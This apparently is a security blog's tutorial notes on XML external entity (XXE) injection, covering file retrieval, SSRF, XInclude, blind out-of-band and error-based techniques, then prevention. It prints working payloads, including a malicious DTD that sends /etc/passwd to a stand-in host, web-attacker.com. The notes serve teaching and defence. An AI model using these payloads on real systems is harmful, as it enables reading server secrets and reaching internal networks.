sl4x0.github.io /web-notes/xxe-attacks/

XML external entity

: 02/08/2022

Aug 1, 2022

12 min read

XXE Web-Notes

XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data.

It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access. XXEs can be very impactful bugs, as they can lead to confidential information disclosure, SSRFs, and DoS attacks. But they are also difficult to understand and exploit.

References

XXE - XEE - XML External Entity

XXE

HowToHunt/XXE at master · KathanP19/HowToHunt

XML Entity Injecton (XXE)

GitHub - ngalongc/bug-bounty-reference: Inspired by https://github.com/djadmin/awesome-bug-bounty, a list of bug bounty write-up that is categorized by the bug nature

PayloadsAllTheThings/XXE Injection at master · swisskyrepo/PayloadsAllTheThings

GitHub - vavkamil/awesome-bugbounty-tools: A curated list of various bug bounty tools

XXE

Hacksplaining: Web Security for Developers

Web App Hacking: XXE Vulnerabilities and Attacks

Web Application Penetration Testing Notes

Mind-Maps/Common XML Attacks - Harsh Bothra at master · imran-parray/Mind-Maps

pentest-guide/XML-External-Entity at master · Voorivex/pentest-guide

XML External Entity [XXE] - Pastebin.com https://nored0x.github.io/penetration%20testing/writeups-Bug-Bounty-hackrone/#xxe

XML Security - OWASP Cheat Sheet Series

```
<?xml version="1"?>
   <!DOCTYPE stockCheck [ <!ENTITY
xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;
</productId></stockCheck
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
```

Mechanisms

XML (Extensible Markup Language) allows developers to define and represent arbitrary data structures in a text format using a tree-like structure like that of HTML.

For example, web applications commonly use XML to transport identity information in Security Assertion Markup Language (SAML) authentication. The XML might look like this

```
<saml:AttributeStatement>
 <saml:Attribute Name="username">
 <saml:AttributeValue>
 vickieli
 </saml:AttributeValue>
 </saml:Attribute>
</saml:AttributeStatement>
```

The XML format is widely used in various functionalities of web applications, including authentication, file transfers, and image uploads, or simply to transfer HTTP data from the client to the server and back.

XML documents can contain a document type definition (DTD), which defines the structure of an XML document and the data it contains. These DTDs can be loaded from external sources or declared in the document itself within a DOCTYPE tag.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
 <!ENTITY file "Hello!">
]>
<example>&file;</example>
```

In this case, any reference of &file within the XML document will be replaced by “Hello!”. ⇒ As it a variable!

XML documents can also use external entities to access either local or remote content with a URL.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
 <!ENTITY file SYSTEM "file:///example.txt">
]>
<example>&file;</example>
```

External entities can also load resources from the internet.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
 <!ENTITY file SYSTEM "http://example.com/index.html">
]>
<example>&file;</example>
```

How do XXE vulnerabilities arise?

The issue is that if users can control the values of XML entities or external entities, they might be able to disclose internal files, port-scan internal machines, or launch DoS attacks.

For example, let’s say a web application lets users upload their own XML document. The application will parse and display the document back to the user. A malicious user can upload a document like this one to read the `/etc/shadow` file on the server, which is where Unix systems store usernames and their encrypted passwords:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
1 <!ENTITY file SYSTEM "file:///etc/shadow">
]>
<example>&file;</example>
```

Applications are vulnerable to XXEs when the application accepts user-supplied XML input or passes user input into DTDs, which is then parsed by an XML parser, and that XML parser reads local system files or sends internal or outbound requests specified in the DTD.

Hunting for XXEs

To find XXEs, start with locating the functionalities that are prone to them. This includes anywhere that the application receives direct XML input, or receives input that is inserted into XML documents that the application parses.

Exploiting XXE to retrieve files

To perform an XXE injection attack that retrieves an arbitrary file from the server's filesystem, you need to modify the submitted XML in two ways:

- Introduce (or edit) a `DOCTYPE` element that defines an external entity containing the path to the file.
- Edit a data value in the XML that is returned in the application's response, to make use of the defined external entity.

For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

```
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
```

The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the `/etc/passwd` file by submitting the following XXE payload:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Lab: Exploiting XXE using external entities to retrieve files Web Security Academy

Exploiting XXE to perform SSRF attacks

To exploit an XXE vulnerability to perform an SSRF Attack ,you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value. If you can use the defined entity within a data value that is returned in the application's response, then you will be able to view the response from the URL within the application's response, and so gain two-way interaction with the back-end system. If not, then you will only be able to perform blink SSRF attacks (which can still have critical consequences).

In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure:

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "[http://internal.vulnerable-
website.com/](http://internal.vulnerable-website.com/)"> ]>
```

Lab: Exploiting XXE to perform SSRF attacks Web Security Academy

Finding hidden attack surface for XXE injection

In other cases, the attack surface is less visible. However, if you look in the right places, you will find XXE attack surface in requests that do not contain any XML.

XInclude attacks

An example of this occurs when client-submitted data is placed into a back-end SOAP request, which is then processed by the backend SOAP service.

`XInclude` is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an `XInclude` attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.

To perform an `XInclude` attack, you need to reference the `XInclude` namespace and provide the path to the file that you wish to include. For example:

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Lab: Exploiting XInclude to retrieve files Web Security Academy

XXE attacks via file upload

For example, an application might allow users to upload images, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG,

the image processing library that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities.

Lab: Exploiting XXE via image file upload Web Security Academy

XXE attacks via modified content type

For example, if a normal request contains the following:

```
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar
```

Then you might be able submit the following request, with the same result:

```
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

```

```
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```

If the application tolerates requests containing XML in the message body, and parses the body content as XML, then you can reach the hidden XXE attack surface simply by reformatting requests to use the XML format.

Finding and exploiting blind XXE vulnerabilities

What is blind XXE?

Blind XXE vulnerabilities arise where the application is vulnerable to XXE Injection but **does not return the values** of any defined external entities within its responses.

There are two broad ways in which you can find and exploit blind XXE vulnerabilities:

- You can trigger out-of-band network interactions, sometimes exfiltrating sensitive data within the interaction data.
- You can trigger XML parsing errors in such a way that the error messages contain sensitive data.

Detecting blind XXE using out-of-band (OAST) techniques

For example, you would define an external entity as follows: `<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>`

This XXE attack causes the server to make a back-end HTTP request to the specified URL. The attacker can monitor for the resulting DNS lookup and HTTP request, and thereby detect that the XXE attack was successful.

Lab: Blind XXE with out-of-band interaction Web Security Academy

Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities instead. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. For present purposes, you only need to know two things. First, the declaration of an XML parameter entity includes the percent character before the entity name:

```
<!ENTITY % myparameterentity "my parameter entity value" >
```

And second, parameter entities are referenced using the percent character instead of the usual ampersand:

```
%myparameterentity;
```

This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:

```
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-
attacker.com"> %xxe; ]>
```

This XXE payload declares an XML parameter entity called `xxe` and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful.

Lab: Blind XXE with out-of-band interaction via XML parameter entities Web Security Academy

Exploiting blind XXE to exfiltrate data out-of-band

What an attacker really wants to achieve is to exfiltrate sensitive data. This can be achieved via a blind XXE vulnerability, but it involves the attacker hosting a malicious DTD on a system that they control, and then invoking the external DTD from within the in-band XXE payload.

An example of a malicious DTD to exfiltrate the contents of the `/etc/passwd` file is as follows:

```
!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-
attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

This DTD carries out the following steps:

- Defines an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file.
- Defines an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `exfiltrate`. The `exfiltrate` entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the `file` entity within the URL query string.
- Uses the `eval` entity, which causes the dynamic declaration of the `exfiltrate` entity to be performed.
- Uses the `exfiltrate` entity, so that its value is evaluated by requesting the specified URL.

For example, the attacker might serve the malicious DTD at the following URL: `http://web-attacker.com/malicious.dtd`

Finally, the attacker must submit the following XXE payload to the vulnerable application:

```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
```

This XXE payload declares an XML parameter entity called `xxe` and then uses the entity within the DTD. This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined within the malicious DTD are then executed, and the `/etc/passwd` file is transmitted to the attacker's server.

Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD Web Security Academy

Exploiting blind XXE to retrieve data via error messages

You can trigger an XML parsing error message containing the contents of the `/etc/passwd` file using a malicious external DTD as follows:

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM
'file:///nonexistent/%file;'>">
%eval;
%error;
```

This DTD carries out the following steps:

- Defines an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file.
- Defines an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `error`. The `error` entity will be evaluated by loading a nonexistent file whose name contains the value of the `file` entity.
- Uses the `eval` entity, which causes the dynamic declaration of the `error` entity to be performed.
- Uses the `error` entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the `/etc/passwd` file.

Exploiting blind XXE by repurposing a local DTD

For example, suppose there is a DTD file on the server filesystem at the location `/usr/local/app/schema.dtd`, and this DTD file defines an entity called `custom_entity` . An attacker can trigger an XML parsing error message containing the contents of the `/etc/passwd` file by submitting a hybrid DTD like the following:

```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```

his DTD carries out the following steps:

- Defines an XML parameter entity called `local_dtd`, containing the contents of the external DTD file that exists on the server filesystem.
- Redefines the XML parameter entity called `custom_entity`, which is already defined in the external DTD file. The entity is redefined as containing the error-based XXE exploit that was already described, for triggering an error message containing the contents of the `/etc/passwd` file.
- Uses the `local_dtd` entity, so that the external DTD is interpreted, including the redefined value of the `custom_entity` entity. This results in the desired error message.

Locating an existing DTD file to repurpose

Since this XXE attack involves repurposing an existing DTD on the server filesystem, a key requirement is to locate a suitable file. This is actually quite straightforward. Because the application returns any error messages thrown by the XML parser, you can easily enumerate local DTD files just by attempting to load them from within the internal DTD.

For example, Linux systems using the GNOME desktop environment often have a DTD file at `/usr/share/yelp/dtd/docbookx.dtd`.You can test whether this file is present by submitting the following XXE payload, which will cause an error if the file is missing:

```
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```

After you have tested a list of common DTD files to locate a file that is present, you then need to obtain a copy of the file and review it to find an entity that you can redefine. Since many common systems that include DTD files are open source, you can normally quickly obtain a copy of files through internet search.

Lab: Exploiting XXE to retrieve data by repurposing a local DTD Web Security Academy

---

Prevention

Preventing XXEs is all about limiting the capabilities of an XML parser.

For example, if you're using the default PHP XML parser, you need to set `libxml_disable_entity_loader` to TRUE to disable the use of external entities. For more information on how to do it for your parser, consult the OWASP Cheat Sheet at

CheatSheetSeries/XML_External_Entity_Prevention_Cheat_Sheet.md at master · OWASP/CheatSheetSeries

You could create an `allowlist` for user-supplied values that are passed into XML documents, or sanitize potentially hostile data within XML documents, headers, or nodes. Alternatively, you can use less complex data formats like JSON instead of XML whenever possible.

Generally, it is sufficient to disable resolution of external entities and disable support for `XInclude`. This can usually be done via configuration options or by programmatically overriding default behavior.